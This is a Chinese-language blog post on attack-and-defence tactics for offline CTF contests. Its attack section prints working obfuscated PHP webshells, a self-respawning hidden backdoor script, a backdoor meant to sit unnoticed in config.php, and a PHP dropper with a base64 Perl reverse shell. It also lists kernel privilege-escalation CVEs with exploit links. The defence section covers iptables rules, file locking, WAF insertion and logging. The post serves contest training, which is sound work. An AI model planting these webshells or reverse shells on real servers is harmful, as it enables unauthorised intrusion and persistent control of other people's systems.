CTF线下AWD经验总结


简介

随着CTF的普及,比赛的形式也有了愈来愈多的花样,对于线下赛来讲,常见为 AWD:Attack With Defence+公共高地、内网渗透等形式。php

因为前段时间准备线下赛时,看了许多大佬们总结的套路,他们各类骚操做让我学到了许多,因此就想把几篇我以为比较好的总结一下,一来方便本身比赛前回顾一下,二来跟你们分享,但愿能对各位CTF朋友们有所帮助。html

以后若是学到什么新姿式,我有时间也会update上来和你们分享:)python

何为AWD

比赛中每一个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其余队伍能够进行得分,修复漏洞能够避免被其余队伍攻击失分。mysql

  • 通常分配Web服务器,服务器(多数为Linux)某处存在flag(通常在根目录下)linux

  • 可能会提供一台流量分析虚拟机,能够下载流量文件进行数据分析;nginx

  • flag在主办方的设定下每隔必定时间刷新一轮git

  • 各队通常都有本身的初始分数github

  • flag一旦被其余队伍拿走,该队扣除必定积分web

  • 扣除的积分由获取flag的队伍均分sql

  • 主办方会对每一个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分

  • 通常每一个队伍会给一个低权限用户,非root权限

具体规则以具体比赛规则为准,但通常大同小异

网络环境

网络拓扑以下图所示(示例):

首先先理清好网络拓扑关系,节点与各链路之间的关联,方便下一步和队友配合,要否则不知道对手在哪就GG。

比赛分工

线下赛通常3人左右,2人攻击,1人防护,由于发现的漏洞能够攻击其余队伍,也要进行修复,因此攻防相辅相成,以攻为守。

通常来讲,比赛中每一个队伍须要维护多个靶机,web、二进制等,也能够每人负责一台,各自负责攻击和防护。

套路小结

常规的CTF线下攻防思路:

服务器登陆

通常比赛都经过ssh链接服务器,拿到网络拓扑图后,和队友进行分工,一我的检查有没有弱口令(弱口令的问题几乎是必考),有的话对密码进行修改(越复杂越好,固然前提是本身也方便)。web后台也颇有可能存在弱口令,通常都是admin/admin ,admin/123456test/test等等,一样须要当即修改,并将状况反馈给队友,凭着你的手速修改其余队伍的后台口令,为本队所用,甚至有些严重的能够利用后台getshell。

与此同时,还须要(必定要!必需要!)有人在比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html)。这是自我审计的基础,也是防止服务器在比赛中出现异常的状况下能够当即恢复到初始状态的先决条件。有的比赛能够提供3次左右的恢复初始设置的机会(但通常会伴随着扣分为代价),有的比赛不提供,因此备份十分重要。

能够用scp命令,也可用一些图形化的工具:Winscp,MobaXterm等,操做起来比较方便。

接着就是上WAF、文件监控、端口扫描。将这几个工做分工好,顺序就像图上。

提权

在AWD中,通常都须要专门防护加固本身服务器的环节,但加固的不少操做都会涉及到root权限,若是直接给root权限最好,但通常只会给一个普通权限帐号,这时候每每就须要给服务器提权了。关于提权,一般咱们要根据kernel版本号找到对应的poc,平时咱们能够收集测试一些比较新的提权poc,以备不时之需。

Linux_Local_Root_Exploits :这网站收集了许多linux本地提权的poc。

linux-kernel-exploits(github) :一个挺全的提权exp项目,收集了04年至今的exp,并按年份和CVE归类

下面分享几个最近两年而且影响范围比较大的:

  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 ) :DCCP双重释放漏洞可容许本地低权限用户修改Linux内核内存,致使拒绝服务(系统崩溃)或者提高权限,得到系统的管理访问权限

  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64)) :低权限用户可修改root用户建立的文件内容,如修改 /etc/passwd,把当前用户的 uid 改为 0 便可提高为root权限

  • CVE-2016-8655(Ubuntu 12.0四、14.04,Debian 七、8) :条件竞争漏洞,可让低权限的进程得到内核代码执行权限

    POC:https://www.seebug.org/vuldb/ssvid-92567

  • CVE-2017-1000367(sudo本地提权漏洞 ) :Linux Kernel Stack Clash安全漏洞。该漏洞是因为操做系统内存管理中的一个堆栈冲突漏洞,它影响Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻击者能够利用它破坏内存并执行任意代码 。

  • CVE-2016-1247(Nginx权限提高漏洞) :Nginx服务在建立log目录时使用了不安全的权限设置,可形成本地权限提高,恶意攻击者可以借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提高。

    POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

我收集了一些提权的脚本工具集,可做参考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT

How to Attack

主机发现

若是是在同个C段,或者B段,都可以使用扫描器进行扫描得出。还要记得扫端口,这很重要,固然这个端口扫描是创建在没有本身靶机权限的状况下。用nmap也行,本身写的脚本或者网上找的也行。

找预留后门

有的比赛环境,为了照顾比较菜的选手,预留了一句话后门,能够利用这个漏洞迅速打一波,还能够视状况“搅屎”,利用这个漏洞一直维持权限,每轮都得分。

将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具能够扫描得出(若是预留)

发现后门后,第一时间删除,同时利用这个漏洞发起第一波攻击,若是利用菜刀连,显然不够优雅,还没连完,人家估计都删的差很少了,所以这个漏洞虽然是送分,但拼的是手速,所以得提早准备好脚本

代码审计

代码审计是攻防一体的工做,当发现漏洞时,修补的同时跟进攻的队友商讨如何利用

一句话木马

控制用的一句话木马,最好是须要菜刀配置的,这样作是为了避免让别人轻易的利用你的一句话,要否则就只能等着别人用你的脚本捡分。

比较好的一句话:


$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>


配置为?b=))99(rhC(tseuqeR+lave


1
2
3
4
5

$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>



配置为n985de9=QGV2YWwoJF9QT1NUWzBdKTs= ,链接密码为0(数字)

单个文件批量上传

当咱们经过某个漏洞批量上传了不少的webshell后,可能想要批量传个后门以备后用。这时咱们能够经过用脚本批量上传来提升效率:batch_upload_file

权限维持

上面说到利用预留后门能够维持权限,主要有两种,一种是“不死马”,另外一种是反弹shell

“不死马”


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

set_time_limit(0);
ignore_user_abort(true);
$file = '.demo.php';
$shell = "";
//$_hR='chr'
//$_cC='eval($_POST[1]);'
//$_fF='create_function'
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
touch(".demo.php", mktime(11,11,11,11,11,2018));
usleep(50);
}
?>


利用预留后门,上传上面的“不死马”并访问,就会一直生成.demo.php的一句话木马,木马内容能够自行修改,只要别被其余队伍看懂就行。

文件名前加一个点,能更好地隐藏文件

想要结束这个进程,除了最暴力的重启服务以外,更为优雅的以下:


while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>


先查看进程,查看对应的pid,再执行便可。

md5马+header


1
2
3
4
5
6
7
8

echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>


放进config.php效果最好,由于通常不多人去看这个。

反弹shell


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

function which($pr){
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe){
$res = '';
if ($cfe){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = '';
while(!@feof($f)){
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = "127.0.0.1";
$yourport = '9999';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
/*
base64加密内容以下:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
*/
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>


利用预留后门上传上面的php文件并访问,就能够用nc反弹shell,以后就能够一直得分了

    How to Defend

    经常使用命令

    咱们先总结一下线下赛的防御工做中经常使用的一些命令


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    ssh <-p 端口> username@ip
    scp 文件路径 username@ip:存放路径
    cat /root/.bash_history
    #显示最近登陆的5个账号
    last -n 5|awk '{print $1}'
    #显示/etc/passwd的帐户
    cat /etc/passwd|awk -F ':' '{print $1}'
    #查看UID为0的账号
    awk -F: '{if($3==0)print $1}' /etc/passwd
    #查找777的权限的文件
    find . -name "*.php" -perm 4777
    #查找24小时内被修改的PHP文件
    find ./ -mtime 0 -name "*.php"
    #查看进程
    ps aux | grep pid或者进程名    
    #查看已创建的网络链接及进程
    netstat -antulp | grep EST
    #查看指定端口被哪一个进程占用
    lsof -i:端口号 或者 netstat -tunlp|grep 端口号
    #结束进程命令
    kill PID
    killall <进程名>
    pkill <进程名>
    pkill -u用户名
    #封杀某个IP或者ip段
    iptables -I INPUT -s source_ip[/mask] -j DROP
    #禁止从某个主机ssh远程访问登录到本机
    iptable -t filter -A INPUT -s source_ip[/mask] -p tcp --dport 22 -j DROP
    #备份mysql数据库
    mysqldump -u 用户名 -p 密码 数据库名 > bak.sql
    mysqldump --all-databases > bak.sql
    #还原mysql数据库
    mysql -u 用户名 -p 密码 数据库名 < bak.sql
    #定时任务,在固定的时间间隔执行指定的系统指令或shell script
    crontab [-u user] file_name
    crontab [-u user] [-e |-l| -r]
    #检测全部的tcp链接数量及状态
    netstat -ant|awk|grep|sed -e -e|sort|uniq -c|sort -rn
    #查看页面访问排名前十的IP
    cat /var/log/apache2/access.log|cut -f1 -d|sort|uniq -c|sort -k -r|head -  
    #查看页面访问排名前十的URL
    cat /var/log/apache2/access.log|cut -f4 -d|sort|uniq -c|sort -k -r|head -


    文件监控

    为了监控咱们的web目录,咱们能够对文件的增长或修改等操做进行限制,粗暴一点的话,就禁止任何文件产生变化。

    • 使用系统 chattr +i命令

      Linux下的文件有着隐藏属性,能够用lsattr命令查看。其中有一个i属性,表示不得更动任意文件或目录。若是你已经有root或者sudo权限了,那么你可使用chattr +i 修改文件隐藏属性,这样全部用户都不能对该文件或者目录进行修改删除等操做(包括root),若是想进行修改,必须用chattr -i取消隐藏属性。

      e.g.

      防止系统中某个关键文件被修改:chattr +i /etc/profile

      将/var/www/html目录下的文件设置为不容许任何人修改: chattr -R +i /var/www/html

    • 使用python的第三方库pyinotify

      python的第三方库pyinotify可让咱们很方便地实现这些功能。可是因为是第三方库,线下赛中一般无法联网安装库,因此咱们能够提早准备好source code以在比赛时安装。

      下载地址:https://pypi.python.org/pypi/pyinotify (若是比赛能够联网,建议直接经过pip安装)

      安装方法:解压,而后执行sudo pythonXXX setup.py install

      使用方法:python -m pyinotify monitoring_path

      但因为监控事件太过杂,不少并非咱们关注的,而且咱们不只仅要监控,还须要对某些操做进行自动处理,所以咱们能够用脚本针对性地实现咱们须要的功能:monitor_withPyinotify。

    网络控制

    网络防御必定少不了 iptables了,但使用iptables须要有管理员权限。对于比赛环境,咱们彻底能够配置一个近乎苛刻的配置防火墙策略。

    只开放一些比赛的必要端口,也能够防止后门的链接


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #开放ssh
    iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
    #打开80端口
    iptables -A INPUT -p tcp --dport 80 -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
    #开启多端口简单用法
    iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
    #容许外部访问本地多个端口 如8080,8081,8082,且只容许是新链接、已经链接的和已经链接的延伸出新链接的会话
    iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT


    限制ssh登录,进行访问控制


    1
    2
    3
    4
    #禁止从xx.xx.xx.xx远程登录到本机
    iptables -t filter -A INPUT -s xx.xx.xx.xx -p tcp --dport 22 -j DROP
    #容许xx.xx.xx.xx网段远程登录访问ssh
    iptables -A INPUT -s xx.xx.xx.1/24 -p tcp --dport 22 -j ACCEPT


    限制IP链接数和链接速率

    咱们能够限制IP的网络链接数和速度等,限制过快的链接频率,这样能够在必定程度上限制对方的扫描器。狠一点的话,甚至可让对方只能以手工点网页的速度与访问


    1
    2
    3
    4
    5
    6
    7
    8
    #单个IP的最大链接数为 30
    iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
    #单个IP在60秒内只容许最多新建15个链接
    iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
    iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
    #容许外部访问本机80端口,且本机初始只容许有10个链接,每秒新增长2个链接,若是访问超过此限制则拒接 (此方式能够限制一些攻击)
    iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT


    再猥琐一点,能够定时断开已经创建的链接,让对方只能断断续续的访问

    数据包简单识别,防止端口复用类的后门或者shell

    假设病毒木马程序经过2280端口向服务器外传送数据,这种方式向外发的数据不是咱们经过访问网页请求而回应的数据包。咱们能够禁止这些没有经过请求回应的数据包。


    1
    2
    3
    iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT


    限制访问

    若是对方来势太凶,咱们能够限制或者封杀他们的ip段。


    1
    2
    3
    4
    5
    #禁止从客户机1.1.1.4访问1.1.1.5上的任何服务
    iptable -t filter -A FORWARD -s 1.1.1.4 -d 1.1.1.5 -j DROP
    #封杀1.1.1.4这个IP或者某个ip段
    iptables -I INPUT -s 1.1.1.4 -j DROP
    iptables -I INPUT -s 1.1.1.1/24 -j DROP


    过滤异常报文

    iptables有一个TCP匹配扩展协议–tcp-flags,功能是过滤TCP中的一些包,好比SYN包,ACK包,FIN包,RST包等等。举个例子,咱们知道SYN是创建链接,RST是重置链接,若是这两个同时出现,就知道这样的包是有问题的,应该丢弃。下面的例子是利用–tcp-flags参数,对一些包进行标识过滤,扔掉异常的数据包。


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #表示 SYN,FIN,ACK,RST的标识都检查,但只匹配SYN标识
    iptables -A INPUT -p tcp --tcp-flags SYN,FIN,ACK,RST SYN
    #匹配SYN标识位
    iptables -A INPUT -p tcp --syn
    #检查全部的标识位,匹配到FIN URG PSH的丢弃
    iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
    #丢弃没标志位的包
    iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
    #匹配到SYN ACK FIN URG RST PSH的丢弃(相似的操做自行触类旁通)
    iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG,PSH -j DROP
    #匹配到 SYN,RST的丢弃
    iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP


    防DDOS


    1
    iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT


    -m limit:启用limit扩展
    –limit 20/minute:容许最多每分钟10个链接
    –limit-burst 100:当达到100个链接后,才启用上述20/minute限制

    丢弃陌生的TCP响应包,防止反弹式攻击


    iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
    iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP


    • 提供一个通用的firewall脚本firewall.sh,咱们能够传到服务器上一键执行,相关参数能够查阅资料详细了解。

      注意,对于不一样的iptables版本,一些参数的用法能够会有略微的差别,使用时咱们可能要根据须要进行修改。

    修复漏洞

    CTF比赛中修复漏洞主要就是为了防止其余队伍的入侵了。

    • 删站(不建议)

      若是赛组没有明确禁止,这是最粗暴的姿式,只留本身的webshell。

    • 删页面

      大部分举办方仍是会明确禁止删除网站的,一般赛组会按期访问网站主页(通常来讲),从而肯定网站是否正常运行。其实咱们不必删除整个网站,只要删掉有漏洞的页面就好了,好比删后台登陆页面、注册页面、上传页面等等。

    • 破坏正常功能

      若是明确不能删除任何页面,能够选择让这些漏洞点的功能函数(或者其依赖的功能函数)失效。好比上传点,若是考虑过滤挺麻烦,又不能删页面,那么咱们能够找到这个漏洞网页,改掉或者删掉文件里对应的相似upload等这种功能调用函数。

    • 正常修补手段

      规则限定很严的状况下,咱们仍是采用正常手法吧,修改服务配置、安装补丁、下载更新的软件版本、加过滤等等。

      第1~3种方法其实都算不上修补漏洞了,真实环境下哪能这么干。

    上WAF

    可使用第三方软件的话,装个安全狗之类的吧。

    下载连接:http://www.safedog.cn/website_safedog.html

    也能够搜集或者本身实现一些脚本或者工具有用。

    本人收集的一些WAF:https://github.com/edwardchoijc/ctf-toolkit/tree/master/Linux/WAF

    使用方法:

    1. 将waf.php传到要包含的文件的目录

    2. 在页面中加入防御,有两种作法,根据状况二选一:

      • PHPCMS V9:\phpcms\base.php

      • PHPWIND8.7:\data\sql_config.php

      • DEDECMS5.7:\data\common.inc.php

      • DiscuzX2:\config\config_global.php

      • Wordpress:\wp-config.php

      • Metinfo:\include\head.php

      • 在所须要防御的页面加入代码:

      require_once('waf.php');
      • 这样就能够作到页面防注入、跨站。

        若是想整站防注,就在网站的一个公用文件中添加上述代码来调用WAF

        经常使用的php的WAF添加路径:

    • 在每一个文件最前加上上述代码

      php.ini中找到并添加:


    Automatically add files before or after any PHP document.
    auto_prepend_file = waf.php的路径;


    • 还有最简便的方法,能够用一条命令解决,以php为例:


    sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/
    #意思就是查找须要加waf的目录下全部php文件,在头部添加一句,用require_once函数引入/tmp/waf.php文件。由于sed命令利用 / 区分文件中的原字符串和修改的字符串,因此咱们要对 / 进行转义。相似于在单引号中再次使用单引号时咱们也要用反斜杠转义。


    最后,提醒:须要注意的是,部署waf可能会致使服务不可用,部署后要密切留意本身服务器的状态。

    流量和日志分析

    经过对流量、日志的分析,能够:

    1. 感知可能正在发生的攻击,从而规避存在的安全风险

    2. 应急响应,还原攻击者的攻击路径,从而挽回已经形成的损失

    3. 某些状况下还能对攻击进行重放复现


    • 流量分析

      在比赛机器上使用下述命令进行流量抓取:


    tcpdump -s 0 -w flow_log.pcap port 9999


    • 而后在本地对抓取的pcap使用wireshark进行分析

    • 日志分析

      记录log的脚本网上有不少,你们能够自行搜索。例如:


    date_default_timezone_set('Asia/Shanghai');
    $ip = $_SERVER["REMOTE_ADDR"];//记录访问者的ip
    $filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名
    $parameter = $_SERVER["QUERY_STRING"];//访问者要请求的参数
    $method = $_SERVER['REQUEST_METHOD'];//请求方法
    $time = date('Y-m-d H:i:s',time());//访问时间
    $post = file_get_contents("php://input",'r');//接收POST数据
    $others = '...其余你想获得的信息...';
    $logadd = '访问时间:'.$time.'-->'.'访问连接:http://'.$ip.$filename.'?'.$parameter.'请求方法:'.$method."\r\n";
    // log记录
    $fh = fopen("log.txt""a");
    fwrite($fh, $logadd);
    fwrite($fh,print_r($_COOKIEtrue)."\r\n");
    fwrite($fh,$others."\r\n");
    fclose($fh);
    ?>


    • 日志分析工具备:

      • LogForensics@腾讯实验室

      • 北风飘然@金乌网络安全实验室

      • piaox的多线程WEB安全日志分析脚本

      • SecSky的Web日志安全分析工具

      • 鬼魅羊羔的Web日志分析脚本

    假flag

    若是说很不幸,咱们前面的关卡都被突破了(实际上我都感受前面那些设置都有点“搅屎”的味道了,不过仍是但愿师傅们能一块儿来讨论讨论有没有什么骚姿式,以及绕过它们的方法)。假设真的被突破了,对于CTF线下赛来讲,咱们最终的目的都是拿到flag。一般咱们会在服务器上执行相似于getflag命令,或者curl访问某个url获取flag,而后获取到一个字符串,而后在答题平台上提交这段字符串便可获取分数。但有时候getflag时由于webshell丢了或其余缘由,会致使服务器显示Error,那咱们是否是能够故意利用这种报错来欺骗不细心的竞争对手呢?

    怎样实现?好比咱们能够添加alias别名,或者咱们能够把这些命令更改或者替换掉,换成一些假装命令程序。再换一层想一想,接着上面的思路,若是咱们替换或者假装了系统命令,对方getshell以后,进来发现cdls等命令都无法用,会怎么样呢?

    其余

    flag获取

    线下赛能够直接使用之类的

    或者


    #!/bin/bash
    while true
    do
    flag=$(curl 'http://xx.xx.xx.xx:8080')
    curl --cookie "PHPSESSID=YourCookie;" --data "key="${flag} "http://XX.XX.XX.XX/index.php/submit"
    sleep 1s
    done


    批量提交flag


    #!/usr/bin/env python
    import sys
    import json
    import urllib
    import httplib
    server_host = 'xx.xx.xx.xx'
    server_port = 80
    def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
    raise Exception('team token or flag not found')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({
    'token': team_token,
    'flag': flag,
    })
    headers = {
    "Content-type""application/x-www-form-urlencoded"
    }
    conn.request('POST''/api/submit_flag', params, headers)
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)

    if __name__ == '__main__':
    if len(sys.argv) < 3:
    print 'usage: ./submitflag.py $team_token $flag'
    sys.exit()
    host = server_host
    if len(sys.argv) > 3:
    host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)


    参考来源:

    http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/

    https://www.anquanke.com/post/id/86984

    http://tinyfisher.github.io/security/2017/10/02/CTF

    https://edwardchoijc.github.io/CTF%E7%BA%BF%E4%B8%8BAWD%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93.html

    一码不扫,
    何以扫天下?




    本文分享自微信公众号 - 网络安全与信息技术(chuanqzk)。
    若有侵权,请联系 support@oschina.cn 删除。
    本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

    相关文章
    相关标签/搜索